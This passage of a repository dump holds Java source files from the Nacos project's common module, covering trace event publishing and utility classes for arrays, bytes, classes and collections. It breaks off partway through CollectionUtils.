e) {\n            LOGGER.error(\"Trace Event Publisher {}, stop to handle event due to unexpected exception: \",\n                    this.publisherName, e);\n        }\n    }\n\n    private void waitSubscriberForInit() {\n        // To ensure that messages are not lost, enable EventHandler when\n        // waiting for the first Subscriber to register\n        for (int waitTimes = DEFAULT_WAIT_TIME; waitTimes > 0; waitTimes--) {\n            if (shutdown || !subscribes.isEmpty()) {\n                break;\n            }\n            ThreadUtils.sleep(1000L);\n        }\n    }\n\n    private void handleEvents() {\n        while (!shutdown) {\n            try {\n                final Event event = queue.take();\n                handleEvent(event);\n            } catch (InterruptedException e) {\n                LOGGER.warn(\"Trace Event Publisher {} take event from queue failed:\", this.publisherName, e);\n                // set the interrupted flag\n                Thread.currentThread().interrupt();\n            }\n        }\n    }\n\n    private void handleEvent(Event event) {\n        Class<? extends Event> eventType = event.getClass();\n        Set<Subscriber<? extends Event>> subscribers = subscribes.get(eventType);\n        if (null == subscribers) {\n            if (LOGGER.isDebugEnabled()) {\n                LOGGER.debug(\"[NotifyCenter] No subscribers for slow event {}\", eventType.getName());\n            }\n            return;\n        }\n        for (Subscriber subscriber : subscribers) {\n            notifySubscriber(subscriber, event);\n        }\n    }\n\n    void checkIsStart() {\n        if (!initialized) {\n            throw new IllegalStateException(\"Publisher does not start\");\n        }\n    }\n\n    public String getStatus() {\n        return String.format(\"Publisher %-30s: shutdown=%5s, queue=%7d/%-7d\", publisherName, shutdown,\n                currentEventSize(), queueMaxSize);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/publisher/TraceEventPublisherFactory.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.publisher;\n\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.EventPublisher;\nimport com.alibaba.nacos.common.notify.EventPublisherFactory;\nimport com.alibaba.nacos.common.trace.event.TraceEvent;\nimport com.alibaba.nacos.common.utils.ConcurrentHashSet;\n\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * event publisher factory for trace event.\n *\n * @author yanda\n */\n\npublic class TraceEventPublisherFactory implements EventPublisherFactory {\n    private static final TraceEventPublisherFactory INSTANCE = new TraceEventPublisherFactory();\n\n    private final Map<Class<? extends Event>, TraceEventPublisher> publisher;\n    \n    private final Set<Class<? extends Event>> publisherEvents;\n\n    private TraceEventPublisherFactory() {\n        publisher = new ConcurrentHashMap<>();\n        publisherEvents = new ConcurrentHashSet<>();\n    }\n\n    public static TraceEventPublisherFactory getInstance() {\n        return INSTANCE;\n    }\n\n    @Override\n    public EventPublisher apply(final Class<? extends Event> eventType, final Integer maxQueueSize) {\n        Class<? extends Event> cachedEventType = TraceEvent.class;\n        \n        for (Class<? extends Event> publisherEvent : publisherEvents) {\n            if (publisherEvent.isAssignableFrom(eventType)) {\n                cachedEventType = publisherEvent;\n                break;\n            }\n        }\n        \n        return publisher.computeIfAbsent(cachedEventType, eventClass -> {\n            TraceEventPublisher result = new TraceEventPublisher();\n            result.init(eventClass, maxQueueSize);\n            return result;\n        });\n    }\n\n    public String getAllPublisherStatues() {\n        StringBuilder result = new StringBuilder(\"Trace event publisher statues:\\n\");\n        for (TraceEventPublisher each : publisher.values()) {\n            result.append('\\t').append(each.getStatus()).append('\\n');\n        }\n        return result.toString();\n    }\n    \n    public void addPublisherEvent(Class<? extends Event> event) {\n        this.publisherEvents.add(event);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/ArrayUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.util.Arrays;\n\n/**\n * Array utils.\n *\n * @author zzq\n */\npublic class ArrayUtils {\n\n    private ArrayUtils() {\n    }\n    \n    /**\n     * <p>Checks if an array of Objects is empty or {@code null}.</p>\n     *\n     * @param array  the array to test\n     * @return {@code true} if the array is empty or {@code null}\n     */\n    public static boolean isEmpty(final Object[] array) {\n        return array == null || array.length == 0;\n    }\n    \n    /**\n     * <p>Checks if the object is in the given array.</p>\n     *\n     * <p>The method returns {@code false} if a {@code null} array is passed in.</p>\n     *\n     * @param array  the array to search through\n     * @param objectToFind  the object to find\n     * @return {@code true} if the array contains the object\n     */\n    public static boolean contains(final Object[] array, final Object objectToFind) {\n        if (array == null) {\n            return false;\n        }\n        \n        return Arrays.asList(array).contains(objectToFind);\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/ByteUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.nio.charset.StandardCharsets;\n\n/**\n * ByteUtils.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class ByteUtils {\n\n    private ByteUtils() {\n    }\n    \n    public static final byte[] EMPTY = new byte[0];\n    \n    /**\n     * String to byte array.\n     *\n     * @param input input string\n     * @return byte array of string\n     */\n    public static byte[] toBytes(String input) {\n        if (input == null) {\n            return EMPTY;\n        }\n        return input.getBytes(StandardCharsets.UTF_8);\n    }\n    \n    /**\n     * Object to byte array.\n     *\n     * @param obj input obj\n     * @return byte array of object\n     */\n    public static byte[] toBytes(Object obj) {\n        if (obj == null) {\n            return EMPTY;\n        }\n        return toBytes(String.valueOf(obj));\n    }\n    \n    /**\n     * Byte array to string.\n     *\n     * @param bytes byte array\n     * @return string\n     */\n    public static String toString(byte[] bytes) {\n        if (bytes == null) {\n            return StringUtils.EMPTY;\n        }\n        return new String(bytes, StandardCharsets.UTF_8);\n    }\n    \n    public static boolean isEmpty(byte[] data) {\n        return data == null || data.length == 0;\n    }\n    \n    public static boolean isNotEmpty(byte[] data) {\n        return !isEmpty(data);\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/ClassUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\n\nimport java.io.Closeable;\nimport java.io.Externalizable;\nimport java.io.Serializable;\nimport java.lang.reflect.Array;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.Enumeration;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.IdentityHashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Optional;\nimport java.util.Set;\n\nimport static com.alibaba.nacos.api.exception.NacosException.SERVER_ERROR;\n\n/**\n * Utils for Class.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class ClassUtils {\n    \n    private ClassUtils() {\n    }\n    \n    public static final String ARRAY_SUFFIX = \"[]\";\n    \n    private static final String INTERNAL_ARRAY_PREFIX = \"[\";\n    \n    private static final String NON_PRIMITIVE_ARRAY_PREFIX = \"[L\";\n    \n    private static final char PACKAGE_SEPARATOR = '.';\n    \n    private static final char PATH_SEPARATOR = '/';\n    \n    private static final char NESTED_CLASS_SEPARATOR = '$';\n    \n    private static final String SEMICOLON_SEPARATOR = \";\";\n    \n    /**\n     * Map with primitive wrapper type as key and corresponding primitive type as value, for example: Integer.class ->\n     * int.class.\n     */\n    private static final Map<Class<?>, Class<?>> PRIMITIVE_WRAPPER_TYPE_MAP = new IdentityHashMap<>(9);\n    \n    /**\n     * Map with primitive type as key and corresponding wrapper type as value, for example: int.class -> Integer.class.\n     */\n    private static final Map<Class<?>, Class<?>> PRIMITIVE_TYPE_TO_WRAPPER_MAP = new IdentityHashMap<>(9);\n    \n    /**\n     * Map with primitive type name as key and corresponding primitive type as value, for example: \"int\" ->\n     * \"int.class\".\n     */\n    private static final Map<String, Class<?>> PRIMITIVE_TYPE_NAME_MAP = new HashMap<>(32);\n    \n    private static final int PRIMITIVE_TYPE_NAME_MAP_LENGTH = 7;\n    \n    /**\n     * Map with common Java language class name as key and corresponding Class as value. Primarily for efficient\n     * deserialization of remote invocations.\n     */\n    private static final Map<String, Class<?>> COMMON_CLASS_CACHE = new HashMap<>(64);\n    \n    static {\n        PRIMITIVE_WRAPPER_TYPE_MAP.put(Boolean.class, boolean.class);\n        PRIMITIVE_WRAPPER_TYPE_MAP.put(Byte.class, byte.class);\n        PRIMITIVE_WRAPPER_TYPE_MAP.put(Character.class, char.class);\n        PRIMITIVE_WRAPPER_TYPE_MAP.put(Double.class, double.class);\n        PRIMITIVE_WRAPPER_TYPE_MAP.put(Float.class, float.class);\n        PRIMITIVE_WRAPPER_TYPE_MAP.put(Integer.class, int.class);\n        PRIMITIVE_WRAPPER_TYPE_MAP.put(Long.class, long.class);\n        PRIMITIVE_WRAPPER_TYPE_MAP.put(Short.class, short.class);\n        PRIMITIVE_WRAPPER_TYPE_MAP.put(Void.class, void.class);\n        \n        // Map entry iteration is less expensive to initialize than forEach with lambdas\n        for (Map.Entry<Class<?>, Class<?>> entry : PRIMITIVE_WRAPPER_TYPE_MAP.entrySet()) {\n            PRIMITIVE_TYPE_TO_WRAPPER_MAP.put(entry.getValue(), entry.getKey());\n            registerCommonClasses(entry.getKey());\n        }\n        \n        Set<Class<?>> primitiveTypes = new HashSet<>(32);\n        primitiveTypes.addAll(PRIMITIVE_WRAPPER_TYPE_MAP.values());\n        Collections.addAll(primitiveTypes, boolean[].class, byte[].class, char[].class, double[].class, float[].class,\n                int[].class, long[].class, short[].class);\n        for (Class<?> primitiveType : primitiveTypes) {\n            PRIMITIVE_TYPE_NAME_MAP.put(primitiveType.getName(), primitiveType);\n        }\n        \n        registerCommonClasses(Boolean[].class, Byte[].class, Character[].class, Double[].class, Float[].class,\n                Integer[].class, Long[].class, Short[].class);\n        registerCommonClasses(Number.class, Number[].class, String.class, String[].class, Class.class, Class[].class,\n                Object.class, Object[].class);\n        registerCommonClasses(Throwable.class, Exception.class, RuntimeException.class, Error.class,\n                StackTraceElement.class, StackTraceElement[].class);\n        registerCommonClasses(Enum.class, Iterable.class, Iterator.class, Enumeration.class, Collection.class,\n                List.class, Set.class, Map.class, Map.Entry.class, Optional.class);\n        \n        Class<?>[] javaLanguageInterfaceArray = {Serializable.class, Externalizable.class, Closeable.class,\n                AutoCloseable.class, Cloneable.class, Comparable.class};\n        registerCommonClasses(javaLanguageInterfaceArray);\n    }\n    \n    /**\n     * Register the given common classes with the ClassUtils cache.\n     */\n    private static void registerCommonClasses(Class<?>... commonClasses) {\n        for (Class<?> clazz : commonClasses) {\n            COMMON_CLASS_CACHE.put(clazz.getName(), clazz);\n        }\n    }\n    \n    /**\n     * Finds and returns class by className.\n     *\n     * @param className String value for className.\n     * @return class Instances of the class represent classes and interfaces.\n     */\n    public static Class findClassByName(String className) {\n        try {\n            return Class.forName(className);\n        } catch (Exception e) {\n            throw new NacosRuntimeException(SERVER_ERROR, \"this class name not found\");\n        }\n    }\n    \n    /**\n     * Determines if the class or interface represented by this object is either the same as, or is a superclass or\n     * superinterface of, the class or interface represented by the specified parameter.\n     *\n     * @param clazz Instances of the class represent classes and interfaces.\n     * @param cls   Instances of the class represent classes and interfaces.\n     * @return the value indicating whether objects of the type can be assigned to objects of this class.\n     */\n    public static boolean isAssignableFrom(Class clazz, Class cls) {\n        Objects.requireNonNull(cls, \"cls\");\n        return clazz.isAssignableFrom(cls);\n    }\n    \n    /**\n     * Gets and returns the class name.\n     *\n     * @param cls Instances of the class represent classes and interfaces.\n     * @return the name of the class or interface represented by this object.\n     */\n    public static String getName(Class cls) {\n        Objects.requireNonNull(cls, \"cls\");\n        return cls.getName();\n    }\n    \n    /**\n     * Gets and returns className.\n     *\n     * @param obj Object instance.\n     * @return className.\n     */\n    public static String getName(Object obj) {\n        Objects.requireNonNull(obj, \"obj\");\n        return obj.getClass().getName();\n    }\n    \n    /**\n     * Gets and returns the canonical name of the underlying class.\n     *\n     * @param cls Instances of the class represent classes and interfaces.\n     * @return The canonical name of the underlying class.\n     */\n    public static String getCanonicalName(Class cls) {\n        Objects.requireNonNull(cls, \"cls\");\n        return cls.getCanonicalName();\n    }\n    \n    /**\n     * Gets and returns the canonical name of the underlying class.\n     *\n     * @param obj Object instance.\n     * @return The canonical name of the underlying class.\n     */\n    public static String getCanonicalName(Object obj) {\n        Objects.requireNonNull(obj, \"obj\");\n        return obj.getClass().getCanonicalName();\n    }\n    \n    /**\n     * Gets and returns the simple name of the underlying class.\n     *\n     * @param cls Instances of the class represent classes and interfaces.\n     * @return the simple name of the underlying class.\n     */\n    public static String getSimpleName(Class cls) {\n        Objects.requireNonNull(cls, \"cls\");\n        return cls.getSimpleName();\n    }\n    \n    /**\n     * Gets and returns the simple name of the underlying class as given in the source code.\n     *\n     * @param obj Object instance.\n     * @return the simple name of the underlying class.\n     */\n    public static String getSimpleName(Object obj) {\n        Objects.requireNonNull(obj, \"obj\");\n        return obj.getClass().getSimpleName();\n    }\n    \n    /**\n     * Replacement for {@code Class.forName()} that also returns Class instances for primitives (e.g. \"int\") and array\n     * class names (e.g. \"String[]\"). Furthermore, it is also capable of resolving nested class names in Java source\n     * style (e.g. \"java.lang.Thread.State\" instead of \"java.lang.Thread$State\").\n     *\n     * @param name        the name of the Class\n     * @param classLoader the class loader to use (may be {@code null}, which indicates the default class loader)\n     * @return a class instance for the supplied name\n     * @throws ClassNotFoundException if the class was not found\n     * @throws LinkageError           if the class file could not be loaded\n     * @see Class#forName(String, boolean, ClassLoader)\n     */\n    public static Class<?> forName(String name, ClassLoader classLoader) throws ClassNotFoundException, LinkageError {\n        \n        Objects.requireNonNull(name, \"Name must not be null\");\n        \n        Class<?> clazz = resolvePrimitiveClassName(name);\n        if (clazz == null) {\n            clazz = COMMON_CLASS_CACHE.get(name);\n        }\n        if (clazz != null) {\n            return clazz;\n        }\n        \n        // \"java.lang.String[]\" style arrays\n        if (name.endsWith(ARRAY_SUFFIX)) {\n            String elementClassName = name.substring(0, name.length() - ARRAY_SUFFIX.length());\n            Class<?> elementClass = forName(elementClassName, classLoader);\n            return Array.newInstance(elementClass, 0).getClass();\n        }\n        \n        // \"[Ljava.lang.String;\" style arrays\n        if (name.startsWith(NON_PRIMITIVE_ARRAY_PREFIX) && name.endsWith(SEMICOLON_SEPARATOR)) {\n            String elementName = name.substring(NON_PRIMITIVE_ARRAY_PREFIX.length(), name.length() - 1);\n            Class<?> elementClass = forName(elementName, classLoader);\n            return Array.newInstance(elementClass, 0).getClass();\n        }\n        \n        // \"[[I\" or \"[[Ljava.lang.String;\" style arrays\n        if (name.startsWith(INTERNAL_ARRAY_PREFIX)) {\n            String elementName = name.substring(INTERNAL_ARRAY_PREFIX.length());\n            Class<?> elementClass = forName(elementName, classLoader);\n            return Array.newInstance(elementClass, 0).getClass();\n        }\n        \n        ClassLoader clToUse = classLoader;\n        if (clToUse == null) {\n            clToUse = getDefaultClassLoader();\n        }\n        try {\n            return Class.forName(name, false, clToUse);\n        } catch (ClassNotFoundException ex) {\n            int lastDotIndex = name.lastIndexOf(PACKAGE_SEPARATOR);\n            if (lastDotIndex != -1) {\n                String nestedClassName =\n                        name.substring(0, lastDotIndex) + NESTED_CLASS_SEPARATOR + name.substring(lastDotIndex + 1);\n                try {\n                    return Class.forName(nestedClassName, false, clToUse);\n                } catch (ClassNotFoundException e) {\n                    // Swallow - let original exception get through\n                }\n            }\n            throw ex;\n        }\n    }\n    \n    /**\n     * Resolve the given class name as primitive class, if appropriate, according to the JVM's naming rules for\n     * primitive classes.\n     *\n     * <p>Also supports the JVM's internal class names for primitive arrays.\n     * Does <i>not</i> support the \"[]\" suffix notation for primitive arrays; this is only supported by {@link\n     * #forName(String, ClassLoader)}.\n     *\n     * @param name the name of the potentially primitive class\n     * @return the primitive class, or {@code null} if the name does not denote a primitive class or primitive array\n     * class\n     */\n    \n    public static Class<?> resolvePrimitiveClassName(String name) {\n        Class<?> result = null;\n        // Most class names will be quite long, considering that they\n        // SHOULD sit in a package, so a length check is worthwhile.\n        if (name != null && name.length() <= PRIMITIVE_TYPE_NAME_MAP_LENGTH) {\n            // Could be a primitive - likely.\n            result = PRIMITIVE_TYPE_NAME_MAP.get(name);\n        }\n        return result;\n    }\n    \n    /**\n     * Return the default ClassLoader to use: typically the thread context ClassLoader, if available; the ClassLoader\n     * that loaded the ClassUtils class will be used as fallback.\n     *\n     * <p>Call this method if you intend to use the thread context ClassLoader\n     * in a scenario where you clearly prefer a non-null ClassLoader reference: for example, for class path resource\n     * loading (but not necessarily for {@code Class.forName}, which accepts a {@code null} ClassLoader reference as\n     * well).\n     *\n     * @return the default ClassLoader (only {@code null} if even the system ClassLoader isn't accessible)\n     * @see Thread#getContextClassLoader()\n     * @see ClassLoader#getSystemClassLoader()\n     */\n    \n    public static ClassLoader getDefaultClassLoader() {\n        ClassLoader cl = null;\n        try {\n            cl = Thread.currentThread().getContextClassLoader();\n        } catch (Throwable ex) {\n            // Cannot access thread context ClassLoader - falling back...\n        }\n        if (cl == null) {\n            // No thread context class loader -> use class loader of this class.\n            cl = ClassUtils.class.getClassLoader();\n            if (cl == null) {\n                // getClassLoader() returning null indicates the bootstrap ClassLoader\n                try {\n                    cl = ClassLoader.getSystemClassLoader();\n                } catch (Throwable ex) {\n                    // Cannot access system ClassLoader - oh well, maybe the caller can live with null...\n                }\n            }\n        }\n        return cl;\n    }\n    \n    /**\n     * Given an input class object, return a string which consists of the class's package name as a pathname, i.e., all\n     * dots ('.') are replaced by slashes ('/'). Neither a leading nor trailing slash is added. The result could be\n     * concatenated with a slash and the name of a resource and fed directly to {@code ClassLoader.getResource()}. For\n     * it to be fed to {@code Class.getResource} instead, a leading slash would also have to be prepended to the\n     * returned value.\n     *\n     * @param clazz the input class. A {@code null} value or the default (empty) package will result in an empty string\n     *              (\"\") being returned.\n     * @return a path which represents the package name\n     * @see ClassLoader#getResource\n     * @see Class#getResource\n     */\n    public static String classPackageAsResourcePath(Class<?> clazz) {\n        if (clazz == null) {\n            return \"\";\n        }\n        String className = clazz.getName();\n        int packageEndIndex = className.lastIndexOf(PACKAGE_SEPARATOR);\n        if (packageEndIndex == -1) {\n            return \"\";\n        }\n        String packageName = className.substring(0, packageEndIndex);\n        return packageName.replace(PACKAGE_SEPARATOR, PATH_SEPARATOR);\n    }\n    \n    /**\n     * Convert a \".\"-based fully qualified class name to a \"/\"-based resource path.\n     *\n     * @param className the fully qualified class name\n     * @return the corresponding resource path, pointing to the class\n     */\n    public static String convertClassNameToResourcePath(String className) {\n        Objects.requireNonNull(className, \"Class name must not be null\");\n        return className.replace(PACKAGE_SEPARATOR, PATH_SEPARATOR);\n    }\n    \n    /**\n     * Convert a \".\"-based fully qualified class name to a \"/\"-based resource path.\n     *\n     * @param className the fully qualified class name\n     * @return the corresponding resource path, pointing to the class\n     */\n    public static String resourcePathToConvertClassName(String className) {\n        Objects.requireNonNull(className, \"Class name must not be null\");\n        return className.replace(PATH_SEPARATOR, PACKAGE_SEPARATOR);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/CollectionUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.lang.reflect.Array;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.Enumeration;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.LinkedHashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.NoSuchElementException;\nimport java.util.Set;\n\n/**\n * Copy from {@link org.apache.commons.collections}.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class CollectionUtils {\n    \n    /**\n     * Constant to avoid repeated object creation.\n     */\n    private static final Integer INTEGER_ONE = 1;\n\n    private CollectionUtils() {\n    }\n    \n    /**\n     * Returns the <code>index</code>-th value in <code>object</code>, throwing\n     * <code>IndexOutOfBoundsException</code> if there is no such element or\n     * <code>IllegalArgumentException</code> if <code>object</code> is not an\n     * instance of one of the supported types.\n     *\n     * <p>The supported types, and associated semantics are:\n     * <ul>\n     * <li> Map -- the value returned is the <code>Map.Entry</code> in position\n     *      <code>index</code> in the map's <code>entrySet</code> iterator,\n     *      if there is such an entry.</li>\n     * <li> List -- this method is equivalent to the list's get method.</li>\n     * <li> Array -- the <code>index</code>-th array entry is returned,\n     *      if there is such an entry; otherwise an <code>IndexOutOfBoundsException</code>\n     *      is thrown.</li>\n     * <li> Collection -- the value returned is the <code>index</code>-th object\n     *      returned by the collection's default iterator, if there is such an element.</li>\n     * <li> Iterator or Enumeration -- the value returned is the\n     *      <code>index</code>-th object in the Iterator/Enumeration, if there\n     *      is such an element.  The Iterator/Enumeration is advanced to\n     *      <code>index</code> (or to the end, if <code>index</code> exceeds the\n     *      number of entries) as a side effect of this method.</li>\n     * </ul>\n     *\n     * @param object the object to get a value from\n     * @param index  the index to get\n     * @return the object at the specified index\n     * @throws IndexOutOfBoundsException if the index is invalid\n     * @throws IllegalArgumentException  if the object type is invalid\n     */\n    public static Object get(Object object, int index) {\n        if (index < 0) {\n            throw new IndexOutOfBoundsException(\"Index cannot be negative: \" + index);\n        }\n        if (object instanceof Map) {\n            Map map = (Map) object;\n            Iterator iterator = map.entrySet().iterator();\n            return get(iterator, index);\n        } else if (object instanceof List) {\n            return ((List) object).get(index);\n        } else if (object instanceof Object[]) {\n            return ((Object[]) object)[index];\n        } else if (object instanceof Iterator) {\n            Iterator it = (Iterator) object;\n            while (it.hasNext()) {\n                index--;\n                if (index == -1) {\n                    return it.next();\n                } else {\n                    it.next();\n                }\n            }\n            throw new IndexOutOfBoundsException(\"Entry does not exist: \" + index);\n        } else if (object instanceof Collection) {\n            Iterator iterator = ((Collection) object).iterator();\n            return get(iterator, index);\n        } else if (object instanceof Enumeration) {\n            Enumeration it = (Enumeration) object;\n            while (it.hasMoreElements()) {\n                index--;\n                if (index == -1) {\n                    return it.nextElement();\n                } else {\n                    it.nextElement();\n                }\n            }\n            throw new IndexOutOfBoundsException(\"Entry does not exist: \" + index);\n        } else if (object == null) {\n            throw new IllegalArgumentException(\"Unsupported object type: null\");\n        } else {\n            try {\n                return Array.get(object, index);\n            } catch (IllegalArgumentException ex) {\n                throw new IllegalArgumentException(\"Unsupported object type: \" + object.getClass().getName());\n            }\n        }\n    }\n    \n    /**\n     * Gets the size of the collection/iterator specified.\n     *\n     * <p>This method can handles objects as follows\n     * <ul>\n     * <li>Collection - the collection size\n     * <li>Map - the map size\n     * <li>Array - the array size\n     * <li>Iterator - the number of elements remaining in the iterator\n     * <li>Enumeration - the number of elements remaining in the enumeration\n     * </ul>\n     *\n     * @param object the object to get the size of\n     * @return the size of the specified collection\n     * @throws IllegalArgumentException thrown if object is not recognised or null\n     * @since Commons Collections 3.1\n     */\n    public static int size(Object object) {\n        int total = 0;\n        if (object instanceof Map) {\n            total = ((Map) object).size();\n        } else if (object instanceof Collection) {\n            total = ((Collection) object).size();\n        } else if (object instanceof Object[]) {\n            total = ((Object[]) object).length;\n        } else if (object instanceof Iterator) {\n            Iterator it = (Iterator) object;\n            while (it.hasNext()) {\n                total++;\n                it.next();\n            }\n        } else if (object instanceof Enumeration) {\n            Enumeration it = (Enumeration) object;\n            while (it.hasMoreElements()) {\n                total++;\n                it.nextElement();\n            }\n        } else if (object == null) {\n            throw new IllegalArgumentException(\"Unsupported object type: null\");\n        } else {\n            try {\n                total = Array.getLength(object);\n            } catch (IllegalArgumentException ex) {\n                throw new IllegalArgumentException(\"Unsupported object type: \" + object.getClass().getName());\n            }\n        }\n        return total;\n    }\n    \n    /**\n     * Judge whether object is empty.\n     *\n     * @param object object\n     * @return true if object is empty, otherwise false\n     * @throws IllegalArgumentException if object has no length or size\n     */\n    public static boolean sizeIsEmpty(Object object) {\n        if (object instanceof Collection) {\n            return ((Collection) object).isEmpty();\n        } else if (object instanceof Map) {\n            return ((Map) object).isEmpty();\n        } else if (object instanceof Object[]) {\n            return ((Object[]) object).length == 0;\n        } else if (object instanceof Iterator) {\n            return ((Iterator) object).hasNext() == false;\n        } else if (object instanceof Enumeration) {\n            return ((Enumeration) object).hasMoreElements() == false;\n        } else if (object == null) {\n            throw new IllegalArgumentException(\"Unsupported object type: null\");\n        } else {\n            try {\n                return Array.getLength(object) == 0;\n            } catch (IllegalArgumentException ex) {\n                throw new IllegalArgumentException(\"Unsupported object type: \" + object.getClass().getName());\n            }\n        }\n    }\n    \n    /**\n     * Whether contain item in collection.\n     *\n     * @param coll   collection\n     * @param target target value\n     * @param <T>    General Type\n     * @return true if contain, otherwise false\n     */\n    public static <T> boolean contains(Collection<T> coll, T target) {\n        if (isEmpty(coll)) {\n            return false;\n        }\n        return coll.contains(target);\n    }\n    \n    /**\n     * Null-safe check if the specified collection is empty.\n     *\n     * <p>Null returns true.\n     *\n     * @param coll the collection to check, may be null\n     * @return true if empty or null\n     * @since Commons Collections 3.2\n     */\n    public static boolean isEmpty(Collection coll) {\n        return (coll == null || coll.isEmpty());\n    }\n    \n    /**\n     * Null-safe check if the specified collection is not empty.\n     *\n     * <p>Null returns false.\n     *\n     * @param coll the collection to check, may be null\n     * @return true if non-null and non-empty\n     * @since Commons Collections 3.2\n     */\n    public static boolean isNotEmpty(Collection coll) {\n        return !CollectionUtils.isEmpty(coll);\n    }\n    \n    /**\n     * Returns the value to which the specified index , or {@code defaultValue} if this collection contains no value for\n     * the index.\n     *\n     * @param obj          the object to get a value from\n     * @param index        the index to get\n     * @param defaultValue default value\n     * @param <T>          General Type\n     * @return the value to which the specified index , or {@code defaultValue} if this collection contains no value for\n     * the index.\n     */\n    public static <T> T getOrDefault(Object obj, int index, T defaultValue) {\n        try {\n            return (T) get(obj, index);\n        } catch (IndexOutOfBoundsException e) {\n            return defaultValue;\n        }\n    }\n    \n    /**\n     * return an arraylist containing all input parameters.\n     *\n     * @param elements element array\n     * @return arraylist containing all input parameters\n     * @author zzq\n     */\n    public static <T> List<T> list(T... elements) {\n        if (elements == null) {\n            throw new IllegalArgumentException(\"Expected an array of elements (or empty array) but received a null.\");\n        }\n        ArrayList<T> list = new ArrayList<>(elements.length);\n        Collections.addAll(list, elements);\n        return list;\n    }\n    \n    /**\n     * Return a set containing all input parameters.\n     *\n     * @param elements elements element array\n     * @return set containing all input parameters\n     */\n    public static <T> Set<T> set(T... elements) {\n        if (elements == null) {\n            throw new IllegalArgumentException(\"Expected an array of elements (or empty array) but received a null.\");\n        } else {\n            return new LinkedHashSet<>(Arrays.asList(elements));\n        }\n    }\n    \n    /**\n     * return the first element, if the iterator contains multiple elements, will throw {@code\n     * IllegalArgumentException}.\n     *\n     * @throws NoSuchElementException   if the iterator is empty\n     * @throws IllegalArgumentException if the iterator contains multiple elements. The state of the iterator is\n     *                                  unspecified.\n     */\n    public static <T> T getOnlyElement(Iterable<T> iterable) {\n        if (iterable == null) {\n            throw new IllegalArgumentException(\"iterable cannot be null.\");\n        }\n        Iterator<T> iterator = iterable.iterator();\n        T first = iterator.next();\n        if (!iterator.hasNext()) {\n            return first;\n        }\n        throw new IllegalArgumentException(buildExceptionMessage(iterator, first));\n    }\n    \n    private static <T> String buildExceptionMessage(Iterator<T> iterator, T first) {\n        StringBuilder msg = new StringBuilder();\n        msg.append(\"expected one element but was: <\");\n        msg.append(first);\n        for (int i = 0; i < 4 && iterator.hasNext(); i++) {\n            msg.append(\", \");\n            msg.append(iterator.next());\n        }\n        if (iterator.hasNext()) {\n            msg.append(\", ...\");\n    